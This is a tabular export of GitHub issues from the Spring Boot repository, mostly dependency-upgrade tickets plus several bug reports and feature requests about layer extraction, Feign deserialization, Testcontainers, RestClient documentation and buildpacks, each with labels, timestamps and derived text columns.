spring-projects/spring-boot,4531449272,Upgrade to Spring Pulsar 2.0.6,Upgrade to [Spring Pulsar 2.0.6](https://github.com/spring-projects/spring-pulsar/releases/tag/v2.0.6).,"type: dependency-upgrade,status: team-only",2026-05-27 10:04:09+00:00,2026-06-09 19:49:02+00:00,0,"type: dependency-upgrade,status: team-only",13.4062,upgrade to spring pulsar upgrade to spring pulsar,others,0.0
spring-projects/spring-boot,4531448786,Upgrade to Spring LDAP 4.0.4,Upgrade to [Spring LDAP 4.0.4](https://github.com/spring-projects/spring-ldap/releases/tag/4.0.4).,"type: dependency-upgrade,status: team-only",2026-05-27 10:04:04+00:00,2026-06-09 11:32:07+00:00,0,"type: dependency-upgrade,status: team-only",13.0611,upgrade to spring ldap upgrade to spring ldap,others,0.0
spring-projects/spring-boot,4531448391,Upgrade to Spring Kafka 4.0.6,Upgrade to [Spring Kafka 4.0.6](https://github.com/spring-projects/spring-kafka/releases/tag/v4.0.6).,"type: dependency-upgrade,status: team-only",2026-05-27 10:04:00+00:00,2026-06-09 19:49:02+00:00,0,"type: dependency-upgrade,status: team-only",13.4063,upgrade to spring kafka upgrade to spring kafka,others,0.0
spring-projects/spring-boot,4531447839,Upgrade to Spring Integration 7.0.5,Upgrade to [Spring Integration 7.0.5](https://github.com/spring-projects/spring-integration/releases/tag/v7.0.5).,"type: dependency-upgrade,status: team-only",2026-05-27 10:03:55+00:00,2026-06-10 15:21:52+00:00,0,"type: dependency-upgrade,status: team-only",14.2208,upgrade to spring integration upgrade to spring integration,others,0.0
spring-projects/spring-boot,4531447441,Upgrade to Spring HATEOAS 3.0.4,Upgrade to [Spring HATEOAS 3.0.4](https://github.com/spring-projects/spring-hateoas/releases/tag/3.0.4).,"type: dependency-upgrade,status: team-only",2026-05-27 10:03:50+00:00,2026-06-09 11:32:06+00:00,0,"type: dependency-upgrade,status: team-only",13.0613,upgrade to spring hateoas upgrade to spring hateoas,others,0.0
spring-projects/spring-boot,4531447052,Upgrade to Spring Framework 7.0.8,Upgrade to [Spring Framework 7.0.8](https://github.com/spring-projects/spring-framework/releases/tag/v7.0.8).,"type: dependency-upgrade,status: team-only",2026-05-27 10:03:46+00:00,2026-06-09 11:32:06+00:00,0,"type: dependency-upgrade,status: team-only",13.0613,upgrade to spring framework upgrade to spring framework,others,0.0
spring-projects/spring-boot,4531446628,Upgrade to Spring Data Bom 2025.1.6,Upgrade to [Spring Data Bom 2025.1.6](https://github.com/spring-projects/spring-data-bom/releases/tag/2025.1.6).,"type: dependency-upgrade,status: team-only",2026-05-27 10:03:41+00:00,2026-06-09 11:32:05+00:00,0,"type: dependency-upgrade,status: team-only",13.0614,upgrade to spring data bom upgrade to spring data bom,others,0.0
spring-projects/spring-boot,4531446092,Upgrade to Spring Batch 6.0.4,Upgrade to [Spring Batch 6.0.4](https://github.com/spring-projects/spring-batch/releases/tag/v6.0.4).,"type: dependency-upgrade,status: team-only",2026-05-27 10:03:36+00:00,2026-06-10 15:21:53+00:00,0,"type: dependency-upgrade,status: team-only",14.221,upgrade to spring batch upgrade to spring batch,others,0.0
spring-projects/spring-boot,4531445671,Upgrade to Spring AMQP 4.0.4,Upgrade to [Spring AMQP 4.0.4](https://github.com/spring-projects/spring-amqp/releases/tag/v4.0.4).,"type: dependency-upgrade,status: team-only",2026-05-27 10:03:31+00:00,2026-06-09 19:49:01+00:00,0,"type: dependency-upgrade,status: team-only",13.4066,upgrade to spring amqp upgrade to spring amqp,others,0.0
spring-projects/spring-boot,4531445240,Upgrade to Reactor Bom 2025.0.6,Upgrade to [Reactor Bom 2025.0.6](https://github.com/reactor/reactor/releases/tag/2025.0.6).,"type: dependency-upgrade,status: team-only",2026-05-27 10:03:27+00:00,2026-06-09 11:32:04+00:00,0,"type: dependency-upgrade,status: team-only",13.0615,upgrade to reactor bom upgrade to reactor bom,others,0.0
spring-projects/spring-boot,4531444689,Upgrade to Micrometer Tracing 1.6.6,Upgrade to [Micrometer Tracing 1.6.6](https://github.com/micrometer-metrics/tracing/releases/tag/v1.6.6).,"type: dependency-upgrade,status: team-only",2026-05-27 10:03:22+00:00,2026-06-09 11:32:03+00:00,0,"type: dependency-upgrade,status: team-only",13.0616,upgrade to micrometer tracing upgrade to micrometer tracing,others,0.0
spring-projects/spring-boot,4531444253,Upgrade to Micrometer 1.16.6,Upgrade to [Micrometer 1.16.6](https://github.com/micrometer-metrics/micrometer/releases/tag/v1.16.6).,"type: dependency-upgrade,status: team-only",2026-05-27 10:03:17+00:00,2026-06-09 11:32:03+00:00,0,"type: dependency-upgrade,status: team-only",13.0616,upgrade to micrometer upgrade to micrometer,others,0.0
spring-projects/spring-boot,4531202234,Upgrade to Tomcat 10.1.55,Upgrade to [Tomcat 10.1.55](https://tomcat.apache.org/tomcat-10.1-doc/changelog.html).,"type: dependency-upgrade,status: team-only",2026-05-27 09:26:51+00:00,2026-05-27 09:59:41+00:00,0,"type: dependency-upgrade,status: team-only",0.0228,upgrade to tomcat upgrade to tomcat,others,0.0
spring-projects/spring-boot,4531201807,Upgrade to SLF4J 2.0.18,Upgrade to SLF4J 2.0.18.,"type: dependency-upgrade,status: team-only",2026-05-27 09:26:47+00:00,2026-05-27 09:59:40+00:00,0,"type: dependency-upgrade,status: team-only",0.0228,upgrade to slf j upgrade to slf j,others,0.0
spring-projects/spring-boot,4531200625,Upgrade to Netty 4.1.134.Final,"Upgrade to [Netty 4.1.134.Final](https://github.com/netty/netty/releases/tag/netty-4.1.134.Final).

Supersedes #50316","type: task,status: superseded",2026-05-27 09:26:40+00:00,2026-05-27 09:59:40+00:00,0,"type: task,status: superseded",0.0229,upgrade to netty final upgrade to netty final supersedes,others,0.0
spring-projects/spring-boot,4531199877,Upgrade to jOOQ 3.19.34,"Upgrade to [jOOQ 3.19.34](https://github.com/jOOQ/jOOQ/releases/tag/version-3.19.34).

Supersedes #50315","type: task,status: superseded",2026-05-27 09:26:32+00:00,2026-05-27 09:59:39+00:00,0,"type: task,status: superseded",0.023,upgrade to jooq upgrade to jooq supersedes,others,0.0
spring-projects/spring-boot,4531199329,Upgrade to Jaxen 2.0.3,Upgrade to [Jaxen 2.0.3](https://github.com/jaxen-xpath/jaxen/releases/tag/v2.0.3).,"type: task,status: superseded",2026-05-27 09:26:28+00:00,2026-05-27 09:59:38+00:00,0,"type: task,status: superseded",0.023,upgrade to jaxen upgrade to jaxen,others,0.0
spring-projects/spring-boot,4531198326,Upgrade to Hibernate 6.6.51.Final,"Upgrade to [Hibernate 6.6.51.Final](https://github.com/hibernate/hibernate-orm/releases/tag/6.6.51).

Supersedes #50311","type: task,status: superseded",2026-05-27 09:26:20+00:00,2026-05-27 09:59:37+00:00,0,"type: task,status: superseded",0.0231,upgrade to hibernate final upgrade to hibernate final supersedes,others,0.0
spring-projects/spring-boot,4531157112,Upgrade to Spring WS 4.1.4,Upgrade to [Spring WS 4.1.4](https://github.com/spring-projects/spring-ws/releases/tag/v4.1.4).,"type: dependency-upgrade,status: team-only",2026-05-27 09:20:54+00:00,2026-06-10 05:59:26+00:00,0,"type: dependency-upgrade,status: team-only",13.8601,upgrade to spring ws upgrade to spring ws,others,0.0
spring-projects/spring-boot,4531156718,Upgrade to Spring Session 3.5.7,Upgrade to [Spring Session 3.5.7](https://github.com/spring-projects/spring-session/releases/tag/3.5.7).,"type: dependency-upgrade,status: team-only",2026-05-27 09:20:49+00:00,2026-06-10 05:59:25+00:00,0,"type: dependency-upgrade,status: team-only",13.8601,upgrade to spring session upgrade to spring session,others,0.0
spring-projects/spring-boot,4531156256,Upgrade to Spring Security 6.5.11,Upgrade to [Spring Security 6.5.11](https://github.com/spring-projects/spring-security/releases/tag/6.5.11).,"type: dependency-upgrade,status: team-only",2026-05-27 09:20:45+00:00,2026-06-09 19:49:00+00:00,0,"type: dependency-upgrade,status: team-only",13.4363,upgrade to spring security upgrade to spring security,others,0.5859
spring-projects/spring-boot,4531155801,Upgrade to Spring Retry 2.0.13,Upgrade to [Spring Retry 2.0.13](https://github.com/spring-projects/spring-retry/releases/tag/v2.0.13).,"type: dependency-upgrade,status: team-only",2026-05-27 09:20:40+00:00,2026-06-09 11:38:06+00:00,0,"type: dependency-upgrade,status: team-only",13.0954,upgrade to spring retry upgrade to spring retry,others,0.0
spring-projects/spring-boot,4531155222,Upgrade to Spring RESTDocs 3.0.6,Upgrade to [Spring RESTDocs 3.0.6](https://github.com/spring-projects/spring-restdocs/releases/tag/v3.0.6).,"type: dependency-upgrade,status: team-only",2026-05-27 09:20:35+00:00,2026-06-09 11:38:06+00:00,0,"type: dependency-upgrade,status: team-only",13.0955,upgrade to spring restdocs upgrade to spring restdocs,documentation,0.0
spring-projects/spring-boot,4531154596,Upgrade to Spring Pulsar 1.2.18,Upgrade to [Spring Pulsar 1.2.18](https://github.com/spring-projects/spring-pulsar/releases/tag/v1.2.18).,"type: dependency-upgrade,status: team-only",2026-05-27 09:20:31+00:00,2026-06-09 19:49:00+00:00,0,"type: dependency-upgrade,status: team-only",13.4364,upgrade to spring pulsar upgrade to spring pulsar,others,0.0
spring-projects/spring-boot,4531154177,Upgrade to Spring LDAP 3.3.8,Upgrade to [Spring LDAP 3.3.8](https://github.com/spring-projects/spring-ldap/releases/tag/3.3.8).,"type: dependency-upgrade,status: team-only",2026-05-27 09:20:26+00:00,2026-06-09 11:38:05+00:00,0,"type: dependency-upgrade,status: team-only",13.0956,upgrade to spring ldap upgrade to spring ldap,others,0.0
spring-projects/spring-boot,4531153620,Upgrade to Spring Kafka 3.3.16,Upgrade to [Spring Kafka 3.3.16](https://github.com/spring-projects/spring-kafka/releases/tag/v3.3.16).,"type: dependency-upgrade,status: team-only",2026-05-27 09:20:21+00:00,2026-06-09 19:48:59+00:00,0,"type: dependency-upgrade,status: team-only",13.4366,upgrade to spring kafka upgrade to spring kafka,others,0.0
spring-projects/spring-boot,4531153192,Upgrade to Spring Integration 6.5.9,Upgrade to [Spring Integration 6.5.9](https://github.com/spring-projects/spring-integration/releases/tag/v6.5.9).,"type: dependency-upgrade,status: team-only",2026-05-27 09:20:17+00:00,2026-06-10 15:21:51+00:00,0,"type: dependency-upgrade,status: team-only",14.2511,upgrade to spring integration upgrade to spring integration,others,0.0
spring-projects/spring-boot,4531152604,Upgrade to Spring HATEOAS 2.5.3,Upgrade to [Spring HATEOAS 2.5.3](https://github.com/spring-projects/spring-hateoas/releases/tag/2.5.3).,"type: dependency-upgrade,status: team-only",2026-05-27 09:20:12+00:00,2026-06-09 11:38:04+00:00,0,"type: dependency-upgrade,status: team-only",13.0957,upgrade to spring hateoas upgrade to spring hateoas,others,0.0
spring-projects/spring-boot,4531152032,Upgrade to Spring Framework 6.2.19,Upgrade to [Spring Framework 6.2.19](https://github.com/spring-projects/spring-framework/releases/tag/v6.2.19).,"type: dependency-upgrade,status: team-only",2026-05-27 09:20:08+00:00,2026-06-09 11:38:04+00:00,0,"type: dependency-upgrade,status: team-only",13.0958,upgrade to spring framework upgrade to spring framework,others,0.0
spring-projects/spring-boot,4531151629,Upgrade to Spring Data Bom 2025.0.12,Upgrade to [Spring Data Bom 2025.0.12](https://github.com/spring-projects/spring-data-bom/releases/tag/2025.0.12).,"type: dependency-upgrade,status: team-only",2026-05-27 09:20:03+00:00,2026-06-09 11:38:03+00:00,0,"type: dependency-upgrade,status: team-only",13.0958,upgrade to spring data bom upgrade to spring data bom,others,0.0
spring-projects/spring-boot,4531151234,Upgrade to Spring Batch 5.2.6,Upgrade to [Spring Batch 5.2.6](https://github.com/spring-projects/spring-batch/releases/tag/v5.2.6).,"type: dependency-upgrade,status: team-only",2026-05-27 09:19:59+00:00,2026-06-10 11:46:38+00:00,0,"type: dependency-upgrade,status: team-only",14.1018,upgrade to spring batch upgrade to spring batch,others,0.0
spring-projects/spring-boot,4531150783,Upgrade to Spring Authorization Server 1.5.8,Upgrade to [Spring Authorization Server 1.5.8](https://github.com/spring-projects/spring-authorization-server/releases/tag/1.5.8).,"type: dependency-upgrade,status: team-only",2026-05-27 09:19:54+00:00,2026-06-09 19:48:58+00:00,0,"type: dependency-upgrade,status: team-only",13.4369,upgrade to spring authorization server upgrade to spring authorization server,others,0.0
spring-projects/spring-boot,4531149916,Upgrade to Spring AMQP 3.2.11,Upgrade to [Spring AMQP 3.2.11](https://github.com/spring-projects/spring-amqp/releases/tag/v3.2.11).,"type: dependency-upgrade,status: team-only",2026-05-27 09:19:50+00:00,2026-06-09 19:48:58+00:00,0,"type: dependency-upgrade,status: team-only",13.4369,upgrade to spring amqp upgrade to spring amqp,others,0.0
spring-projects/spring-boot,4531149481,Upgrade to Reactor Bom 2024.0.18,Upgrade to [Reactor Bom 2024.0.18](https://github.com/reactor/reactor/releases/tag/2024.0.18).,"type: dependency-upgrade,status: team-only",2026-05-27 09:19:45+00:00,2026-06-09 11:38:02+00:00,0,"type: dependency-upgrade,status: team-only",13.096,upgrade to reactor bom upgrade to reactor bom,others,0.0
spring-projects/spring-boot,4531149002,Upgrade to Micrometer Tracing 1.5.12,Upgrade to [Micrometer Tracing 1.5.12](https://github.com/micrometer-metrics/tracing/releases/tag/v1.5.12).,"type: dependency-upgrade,status: team-only",2026-05-27 09:19:41+00:00,2026-06-09 11:38:00+00:00,0,"type: dependency-upgrade,status: team-only",13.0961,upgrade to micrometer tracing upgrade to micrometer tracing,others,0.0
spring-projects/spring-boot,4531148413,Upgrade to Micrometer 1.15.12,Upgrade to [Micrometer 1.15.12](https://github.com/micrometer-metrics/micrometer/releases/tag/v1.15.12).,"type: dependency-upgrade,status: team-only",2026-05-27 09:19:36+00:00,2026-06-09 11:38:00+00:00,0,"type: dependency-upgrade,status: team-only",13.0961,upgrade to micrometer upgrade to micrometer,others,0.0
spring-projects/spring-boot,4530386185,Remove stale gRPC entry from community starters,"[starter/README.adoc](https://github.com/spring-projects/spring-boot/blob/ddb2b8e0eb2b34c8d8152d321c97b1cf63e0f093/starter/README.adoc#L122-L123) still lists gRPC under Community Contributions, linking to third-party gRPC starters.

This appears to have become stale after [c35b21a](https://github.com/spring-projects/spring-boot/commit/c35b21adb40fc7e5a267523fd542f6946f60af94) added Spring Boot gRPC client support. Its parent, [e61bb6d](https://github.com/spring-projects/spring-boot/commit/e61bb6df5bedde613e58bdc07c956f60a4d501a7), had already added server support, so Spring Boot now provides official gRPC starters:

- [spring-boot-starter-grpc-client](https://github.com/spring-projects/spring-boot/tree/ddb2b8e0eb2b34c8d8152d321c97b1cf63e0f093/starter/spring-boot-starter-grpc-client)
- [spring-boot-starter-grpc-server](https://github.com/spring-projects/spring-boot/tree/ddb2b8e0eb2b34c8d8152d321c97b1cf63e0f093/starter/spring-boot-starter-grpc-server)

There is precedent for this kind of cleanup: [db99ed8](https://github.com/spring-projects/spring-boot/commit/db99ed843e47932a2f2d978691cf9708b585ca39) removed the LDAP third-party starter entry because Spring Boot had gained its own LDAP starter.

I think the fix is to remove the gRPC row from [starter/README.adoc](https://github.com/spring-projects/spring-boot/blob/ddb2b8e0eb2b34c8d8152d321c97b1cf63e0f093/starter/README.adoc#L122-L123). I have a candidate change here and can open a PR if the maintainers would like:

https://gith... [TRUNCATED]",type: task,2026-05-27 07:19:50+00:00,2026-05-30 14:49:01+00:00,0,type: task,3.3119,remove stale grpc entry from community starters starter readme adoc still lists grpc under community contributions linking to third party grpc starters this appears to have become stale after c b a added spring boot grpc client support its parent e bb d had already added server support so spring boot now provides official grpc starters spring boot starter grpc client spring boot starter grpc server there is precedent for this kind of cleanup db ed removed the ldap third party starter entry because spring boot had gained its own ldap starter i think the fix is to remove the grpc row from starter readme adoc i have a candidate change here and can open a pr if the maintainers would like truncated,others,0.9468
spring-projects/spring-boot,4526829746,Spring Framework gradle plugin fails when mainClass is not set.,"<!--
Thanks for raising a Spring Boot issue. Please take the time to review the following
categories as some of them do not apply here.

🙅 ""Please DO NOT Raise an Issue"" Cases
- Question
STOP!! Please ask questions about how to use something, or to understand why something isn't
working as you expect it to, on Stack Overflow using the spring-boot tag.
- Security Vulnerability
STOP!! Please don't raise security vulnerabilities here. Head over to https://spring.io/security-policy to learn how to disclose them responsibly.
- Managed Dependency Upgrade
You DO NOT need to raise an issue for a managed dependency version upgrade as there's a semi-automatic process for checking managed dependencies for new versions before a release. BUT pull requests for upgrades that are more involved than just a version property change are still most welcome.
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An issue will be closed as a duplicate of the immediate pull request, so you don't have to raise an issue if you plan to create a pull request immediately.

🐞 Bug report (please don't include this emoji/text, just add your details)
Please provide details of the problem, including the version of Spring Boot that you
are using. If possible, please provide a test case or sample application that reproduces
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🎁 Enhancement (please don't include this emoji/text, just add your details)
Please start by describing t... [TRUNCATED]",,2026-05-26 19:16:05+00:00,2026-06-10 06:15:36+00:00,3,nan,14.458,spring framework gradle plugin fails when mainclass is not set thanks for raising a spring boot issue please take the time to review the following categories as some of them do not apply here please do not raise an issue cases question stop please ask questions about how to use something or to understand why something isn t working as you expect it to on stack overflow using the spring boot tag security vulnerability stop please don t raise security vulnerabilities here head over to to learn how to disclose them responsibly managed dependency upgrade you do not need to raise an issue for a managed dependency version upgrade as there s a semi automatic process for checking managed dependencies for new versions before a release but pull requests for upgrades that are more involved than just a version property change are still most welcome with an immediate pull request an issue will be closed as a duplicate of the immediate pull request so you don t have to raise an issue if you plan to create a pull request immediately bug report please don t include this emoji text just add your details please provide details of the problem including the version of spring boot that you are using if possible please provide a test case or sample application that reproduces the problem this makes it much easier for us to diagnose the problem and to verify that we have fixed it enhancement please don t include this emoji text just add your details please start by describing t truncated,others,0.8843
spring-projects/spring-boot,4522693894,MonetaryAmount is not deserialized by Feign client without custom Jackson converter in Spring Boot 4,"## Environment

  | Dependency | Version |
  |---|---|
  | Spring Boot | 4.0.6 |
  | Spring Cloud OpenFeign (`spring-cloud-openfeign-core`) | 5.0.0 |
  | Spring Framework | 7.0.7 |
  | `io.github.openfeign:feign-core` | 13.6 |
  | `tools.jackson.core:jackson-databind` | 3.1.2 |
  | `tools.jackson.datatype:jackson-datatype-javax-money` | 3.0.0 |
  | `javax.money:money-api` | 1.1 |
  | `org.javamoney.moneta:moneta-core` | 1.4.4 |
  | JDK | OpenJDK 25.0.2 (Zulu) |
  | OS | Ubuntu 24.04.2 LTS (kernel 6.17.0-29) |

  ## Steps to reproduce

  1. Create a Spring Boot 4 project with `spring-boot-starter-web` and `spring-cloud-starter-openfeign`.
  2. Add `javax.money:money-api`, `moneta-core`, and `tools.jackson.datatype:jackson-datatype-javax-money`.
  3. Register `JavaxMoneyModule` as a `@Bean`:

  ```java
  @Bean
  public JavaxMoneyModule moneyJacksonModule() {
      return new JavaxMoneyModule();
  }
  ```

  4. Create a DTO with a `MonetaryAmount` field and a `@RestController` that returns it.
  5. Create a `@FeignClient` pointing at that endpoint.
  6. Call the Feign client from a test.

  ## Expected behavior

  `MonetaryAmount` is deserialized correctly. `JavaxMoneyModule` is registered as a `@Bean`; Spring Boot's Jackson auto-configuration picks it up and includes it in the primary
  `JsonMapper`. The Feign client's converter should use the same `JsonMapper`.

  ## Actual behavior

  ```
  tools.jackson.databind.exc.InvalidDefinitionException:
  Cannot construct instance of ... [TRUNCATED]",for: external-project,2026-05-26 08:29:49+00:00,2026-05-26 09:02:54+00:00,2,for: external-project,0.023,monetaryamount is not deserialized by feign client without custom jackson converter in spring boot environment dependency version spring boot spring cloud openfeign spring framework jdk openjdk zulu os ubuntu lts kernel create a spring boot project with and add and register as a create a dto with a field and a that returns it create a pointing at that endpoint call the feign client from a test is deserialized correctly is registered as a spring boot s jackson auto configuration picks it up and includes it in the primary the feign client s converter should use the same tools jackson databind exc invaliddefinitionexception cannot construct instance of truncated,others,0.7845
spring-projects/spring-boot,4517361370,Layer tools lost support for buildng in root ('/'),"Seems like [this patch](https://github.com/spring-projects/spring-boot/issues/50130) introduced new restriction on build process.

Root (`/`) build location don't supports from now on. I don't think it was intended change.

```
ARG BUILDER_IMAGE=""alpine/java:21-jdk""
FROM ${BUILDER_IMAGE} AS BUILDER
ARG APP_JAR=""my-jar.jar""
ARG APP_DIR=""./target""
COPY ""${APP_DIR}/${APP_JAR}"" .
RUN java -Djarmode=tools -jar ${APP_JAR} extract --layers --launcher
```

Will work with sb `3.5.13` but will fail `3.5.14`.

```stacktrace
java.lang.IllegalStateException: java.lang.IllegalStateException: Layer 'dependencies' would be written to '/dependencies'. This is outside the output location of '//'. Verify the contents of your archive.
        at org.springframework.boot.jarmode.tools.LayerToolsJarMode.run(LayerToolsJarMode.java:46)
        at org.springframework.boot.loader.launch.JarModeRunner.runJarMode(JarModeRunner.java:64)
        at org.springframework.boot.loader.launch.JarModeRunner.main(JarModeRunner.java:44)
        at java.base/jdk.internal.reflect.DirectMethodHandleAccessor.invoke(DirectMethodHandleAccessor.java:103)
        at java.base/java.lang.reflect.Method.invoke(Method.java:580)
        at org.springframework.boot.loader.launch.Launcher.launch(Launcher.java:106)
        at org.springframework.boot.loader.launch.Launcher.launch(Launcher.java:64)
        at org.springframework.boot.loader.launch.JarLauncher.main(JarLauncher.java:40)
Caused by: java.lang.IllegalStateException: La... [TRUNCATED]",status: superseded,2026-05-25 13:47:21+00:00,2026-05-26 14:27:04+00:00,2,status: superseded,1.0276,layer tools lost support for buildng in root seems like this patch introduced new restriction on build process root build location don t supports from now on i don t think it was intended change will work with sb but will fail stacktrace java lang illegalstateexception java lang illegalstateexception layer dependencies would be written to dependencies this is outside the output location of verify the contents of your archive at org springframework boot jarmode tools layertoolsjarmode run layertoolsjarmode java at org springframework boot loader launch jarmoderunner runjarmode jarmoderunner java at org springframework boot loader launch jarmoderunner main jarmoderunner java at java base jdk internal reflect directmethodhandleaccessor invoke directmethodhandleaccessor java at java base java lang reflect method invoke method java at org springframework boot loader launch launcher launch launcher java at org springframework boot loader launch launcher launch launcher java at org springframework boot loader launch jarlauncher main jarlauncher java caused by java lang illegalstateexception la truncated,help,-0.431
spring-projects/spring-boot,4512933874,Give the possibility of TestContainers manipulation/interaction (before app bootstrapping) in ITs,"By switching from TestContainers-JUnit5 to SpringBoot-Testcontainers-JUnit5, I could reduce boilerplate code and centralize Testcontainer setup in one place. so far, so good :)


Now there are ""some flavours"" or ""requirements"" that are driven by the IntegrationTest (IT) itself, e.g. prepare TestData.
Therefore, I would like to have the possibility to execute some code on the container from/within my IT _before_  app's ApplicationContext startup

In such specific case, my current workaround is to stick to TestContainer-Junit5 bootstrapping. e.g.

```java
@DataMongoTest
@Testcontainers // this setup allows MongoDB container manipulation before bootstrapping of app (especially Mongock script execution)
//@ImportTestcontainers(InfrastructureDependencies.MongoDB.class)
// IT must implement the infrastructure interface (imho looks ugly, but avoids re-duplication of container settings) 
class FooIT implements InfrastructureDependencies.MongoDB {

  @BeforeAll
  static void beforeAll() {
    // container manipulation before any test execution _and_ before any ApplicationContext startup 
    try (var mongoClient = MongoClients.create(mongoDb.getReplicaSetUrl())) {
      // do stuff with the MongoClient
    }
  }
}
```

My wish is something like that (without customizer!)

```java
@DataMongoTest
@ImportTestcontainers(InfrastructureDependencies.MongoDB.class)
class FooIT {

  @BeforeAll
  static void beforeAll(@Autowired MongoDbContainer mongoDb) {
    // container manipulation before a... [TRUNCATED]",,2026-05-24 21:15:58+00:00,2026-06-13 14:53:14+00:00,10,nan,19.7342,give the possibility of testcontainers manipulation interaction before app bootstrapping in its by switching from testcontainers junit to springboot testcontainers junit i could reduce boilerplate code and centralize testcontainer setup in one place so far so good now there are some flavours or requirements that are driven by the integrationtest it itself e g prepare testdata therefore i would like to have the possibility to execute some code on the container from within my it before app s applicationcontext startup in such specific case my current workaround is to stick to testcontainer junit bootstrapping e g my wish is something like that without customizer java datamongotest importtestcontainers infrastructuredependencies mongodb class class fooit beforeall static void beforeall autowired mongodbcontainer mongodb container manipulation before a truncated,others,0.8111
spring-projects/spring-boot,4509899089,Documented Rest client customization promotes bad practice with ClientHttpRequestFactoryBuilder.detect(),"Spring Boot 4.0.6
https://docs.spring.io/spring-boot/reference/io/rest-client.html#io.rest-client.restclient
```
@Service
public class MyService {

	private final RestClient restClient;

	public MyService(RestClient.Builder restClientBuilder, SslBundles sslBundles) {
		HttpClientSettings settings = HttpClientSettings.ofSslBundle(sslBundles.getBundle(""mybundle""))
			.withReadTimeout(Duration.ofMinutes(2));
		ClientHttpRequestFactory requestFactory = ClientHttpRequestFactoryBuilder.detect().build(settings);
		this.restClient = restClientBuilder.baseUrl(""https://example.org"").requestFactory(requestFactory).build();
	}

	public Details someRestCall(String name) {
		return this.restClient.get().uri(""/{name}/details"", name).retrieve().body(Details.class);
	}

}
```
If application has MyService1, MyService2, MyService3, MyService4, MyService5, each will have own http client, with isolated resources - threads and connections.
I think, by default the application should strive to reuse resources and documentation should reflect it.
I understood it is not trivial with existing API and implementation variants - for example two Rest clients with different connect timeouts can reuse single Apache http client but not single Java SDK http client.

Regardless its not trivial, documentation should be fair andat least warn that code 
`ClientHttpRequestFactoryBuilder.detect().build(settings);` 

is something developer 99% does not want in application `@Service`.

(And 100% of cloud providers lov... [TRUNCATED]",status: declined,2026-05-23 23:30:15+00:00,2026-05-24 18:04:03+00:00,3,status: declined,0.7735,documented rest client customization promotes bad practice with clienthttprequestfactorybuilder detect spring boot if application has myservice myservice myservice myservice myservice each will have own http client with isolated resources threads and connections i think by default the application should strive to reuse resources and documentation should reflect it i understood it is not trivial with existing api and implementation variants for example two rest clients with different connect timeouts can reuse single apache http client but not single java sdk http client regardless its not trivial documentation should be fair andat least warn that code is something developer does not want in application and of cloud providers lov truncated,feature,0.2521
spring-projects/spring-boot,4508731381,BeanRegistrarDsl does not support @ConfigurationProperties binding,"**Description**
  
  When using BeanRegistrarDsl (introduced in Spring Boot 4.0) to register @ConfigurationProperties data classes via registerBean<T>(), property binding from application.yaml does not work. The bean is created
  but properties are not bound, resulting in:
  
```
  Failed to bind properties under 'my-prefix' to com.example.MyProperties:
      Reason: java.lang.IllegalStateException: No setter found for property: my-property
```
  
  **Expected Behavior**
  
```
  registerBean<T>() in BeanRegistrarDsl should recognize that T is annotated with @ConfigurationProperties and apply constructor binding, similar to how @ConfigurationPropertiesScan or
  @EnableConfigurationProperties works.
```
  
  **Current Behavior**
  
  registerBean<T>() creates a plain bean instance without invoking the configuration properties binding infrastructure. This means:
  
  - Constructor binding is not used
  - Spring falls back to setter-based binding, which fails for Kotlin data class (immutable) properties
  - Users must still use @ConfigurationPropertiesScan or @EnableConfigurationProperties alongside BeanRegistrarDsl
  
  **Reproduction**
  
 ```
 @ConfigurationProperties(prefix = ""my-prefix"")
  data class MyProperties(
      val myProperty: String = """"
  )
  
  class MyBeans : BeanRegistrarDsl({
      registerBean<MyProperties>()  // Does NOT bind properties from YAML
  })
  
  my-prefix:
    my-property: ""hello""
  
  @SpringBootApplication
  @Import(MyBeans::class)
  class Appl... [TRUNCATED]",status: declined,2026-05-23 15:36:19+00:00,2026-05-24 19:03:38+00:00,7,status: declined,1.144,beanregistrardsl does not support configurationproperties binding description when using beanregistrardsl introduced in spring boot to register configurationproperties data classes via registerbean property binding from application yaml does not work the bean is created but properties are not bound resulting in current behavior registerbean creates a plain bean instance without invoking the configuration properties binding infrastructure this means constructor binding is not used spring falls back to setter based binding which fails for kotlin data class immutable properties users must still use configurationpropertiesscan or enableconfigurationproperties alongside beanregistrardsl reproduction configurationproperties prefix my prefix data class myproperties val myproperty string class mybeans beanregistrardsl registerbean does not bind properties from yaml my prefix my property hello springbootapplication import mybeans class class appl truncated,help,-0.2912
spring-projects/spring-boot,4505229468,Document Java 25 requirement for AOT cache,Forward port of issue #50482 to 4.0.x.,"type: documentation,status: forward-port",2026-05-22 19:47:03+00:00,2026-05-22 19:49:09+00:00,0,"type: documentation,status: forward-port",0.0015,document java requirement for aot cache forward port of issue to x,documentation,0.0
spring-projects/spring-boot,4496366767,BootBuildImage should allow adding buildpacks on top of those specified in the builder,"### Context

We use `gradle bootBuildImage` to build our container image, pretty much with the defaults (afaik):

- `paketobuildpacks/builder-noble-java-tiny:latest`
- `paketobuildpacks/ubuntu-noble-run-tiny:latest`
- ```kotlin
  tasks.named<BootBuildImage>(""bootBuildImage"") {
    docker {
        imagePlatform = ""linux/amd64""
        createdDate = ""now""
    }
  }
  ```

### Problem

In a docker compose setup used for testing, we need a health check for our image. With the defaults, there doesn't seem to be a (simple) way to implement one; web search led us via [SO#75899112](https://stackoverflow.com/a/75899112/539599) to [paketo-buildpacks/health-checker](https://github.com/paketo-buildpacks/health-checker/tree/main), which seems suitable.

We expected this addition to `build.gradle.kts` 

```
tasks.named<BootBuildImage>(""bootBuildImage"") {
  docker { <snip> }

  buildpacks.add(""docker://docker.io/paketobuildpacks/health-checker"")
  environment.put(""BP_HEALTH_CHECKER_ENABLED"", ""true"")
}
```

to enable the healthcheck as

```yaml
healthcheck:
  test: [ ""CMD"", ""/workspace/health-check"" ]
```

However, we observe that the one buildpack overrides _all_ default buildpacks:

```
> gradle bootBuildImage
<snip>
 > Running creator
    [creator]     ===> ANALYZING
    [creator]     Restoring data for SBOM from previous image
    [creator]     ===> DETECTING
    [creator]     target distro name/version labels not found, reading /etc/os-release file
    [creator]     paketo-buildpacks/h... [TRUNCATED]",status: declined,2026-05-21 16:46:06+00:00,2026-05-21 20:27:21+00:00,2,status: declined,0.1536,bootbuildimage should allow adding buildpacks on top of those specified in the builder context we use to build our container image pretty much with the defaults afaik problem in a docker compose setup used for testing we need a health check for our image with the defaults there doesn t seem to be a simple way to implement one web search led us via so to paketo buildpacks health checker which seems suitable we expected this addition to to enable the healthcheck as however we observe that the one buildpack overrides all default buildpacks gradle bootbuildimage running creator creator analyzing creator restoring data for sbom from previous image creator detecting creator target distro name version labels not found reading etc os release file creator paketo buildpacks h truncated,others,0.6597
